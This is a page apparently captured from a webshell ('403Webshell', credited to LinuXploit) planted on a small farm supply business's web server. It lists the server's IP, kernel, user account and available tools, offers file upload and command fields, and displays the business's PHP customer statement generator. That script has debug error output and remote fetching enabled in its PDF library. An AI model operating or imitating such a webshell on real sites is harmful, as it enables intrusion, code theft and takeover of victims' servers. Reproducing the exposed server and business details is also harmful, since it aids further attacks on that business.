403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs//generate_statement_pdf.php
<?php include 'protect.php'; ?>

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

require 'vendor/autoload.php';
use Dompdf\Dompdf;

include 'db.php';

$customer_id = isset($_GET['customer_id']) ? intval($_GET['customer_id']) : 0;
$month = $_GET['month'] ?? '';

if (!$customer_id || !$month) {
    echo "Missing customer or month.";
    exit;
}

$stmt = $conn->prepare("SELECT first_name, last_name FROM customers WHERE id = ?");
$stmt->bind_param("i", $customer_id);
$stmt->execute();
$customer = $stmt->get_result()->fetch_assoc();
$customer_name = $customer['first_name'] . ' ' . $customer['last_name'];

$stmt = $conn->prepare("
    SELECT * FROM archived_transactions
    WHERE customer_id = ? AND DATE_FORMAT(archived_on, '%Y-%m') = ?
    ORDER BY original_date ASC
");
$stmt->bind_param("is", $customer_id, $month);
$stmt->execute();
$result = $stmt->get_result();

$transactions = [];
$item_total = 0;
$taxable_total = 0;
$tax_rate = 0.082;

while ($row = $result->fetch_assoc()) {
    $line_base = $row['price'] * $row['quantity'];
    $line_total = $line_base;
    if ($row['taxable']) {
        $line_total *= (1 + $tax_rate);
        $taxable_total += $line_base;
    }
    $item_total += $line_base;
    $transactions[] = $row;
}

$tax_amount = $taxable_total * $tax_rate;
$grand_total = $item_total + $tax_amount;

// Business Info
$business_name = "Wilson Creek Farm Supply";
$address = "117 3rd St S, Wilson Creek WA 98860";
$phone = "509-345-2572";
$email = "info@wilsoncreekfarmsupply.com";
$website = "www.wilsoncreekfarmsupply.com";

ob_start();
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <style>
        body {
            font-family: 'Segoe UI', sans-serif;
            font-size: 14px;
            color: #333;
            margin: 40px;
        }
        .header {
            border-bottom: 2px solid #ccc;
            padding-bottom: 10px;
            margin-bottom: 20px;
        }
        .header-info {
            font-size: 13px;
            line-height: 1.5;
        }
        h2 {
            margin-top: 10px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        th, td {
            padding: 8px;
            border: 1px solid #ccc;
        }
        th {
            background-color: #f0f0f0;
        }
        .total {
            font-weight: bold;
            background-color: #f9f9f9;
        }
    </style>
</head>
<body>

<div class="header">
    <div class="header-info">
        <strong><?= $business_name ?></strong><br>
        <?= $address ?><br>
        <?= $phone ?><br>
        <?= $email ?><br>
        <?= $website ?>
    </div>
</div>

<h2>Statement for <?= htmlspecialchars($customer_name) ?></h2>
<p>For the month of <strong><?= date('F Y', strtotime($month . '-01')) ?></strong></p>

<?php if (count($transactions)): ?>
    <table>
        <tr>
            <th>Date</th>
            <th>Qty</th>
            <th>Item</th>
            <th>Price</th>
            <th>Taxable</th>
            <th>Total</th>
            <th>Notes</th>
        </tr>
        <?php foreach ($transactions as $t): ?>
            <?php
                $line_total = $t['price'] * $t['quantity'];
                if ($t['taxable']) {
                    $line_total *= (1 + $tax_rate);
                }
            ?>
            <tr>
                <td><?= $t['original_date'] ?></td>
                <td><?= $t['quantity'] ?></td>
                <td><?= htmlspecialchars($t['item_name']) ?></td>
                <td>$<?= number_format($t['price'], 2) ?></td>
                <td><?= $t['taxable'] ? 'Yes' : 'No' ?></td>
                <td>$<?= number_format($line_total, 2) ?></td>
                <td><?= htmlspecialchars($t['notes']) ?></td>
            </tr>
        <?php endforeach; ?>
        <tr class="total">
            <td colspan="6" align="right">Item Total:</td>
            <td>$<?= number_format($item_total, 2) ?></td>
        </tr>
        <tr class="total">
            <td colspan="6" align="right">Tax Total (8.2%):</td>
            <td>$<?= number_format($tax_amount, 2) ?></td>
        </tr>
        <tr class="total">
            <td colspan="6" align="right">Total with Tax:</td>
            <td>$<?= number_format($grand_total, 2) ?></td>
        </tr>
    </table>
<?php else: ?>
    <p><em>No transactions found.</em></p>
<?php endif; ?>

</body>
</html>
<?php
$html = ob_get_clean();

$dompdf = new Dompdf();
$dompdf->set_option('isRemoteEnabled', true);
$dompdf->set_option('isHtml5ParserEnabled', true);
$dompdf->loadHtml($html);
$dompdf->setPaper('A4', 'portrait');
$dompdf->render();
$dompdf->stream("statement_{$customer_id}_{$month}.pdf", ["Attachment" => false]);
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit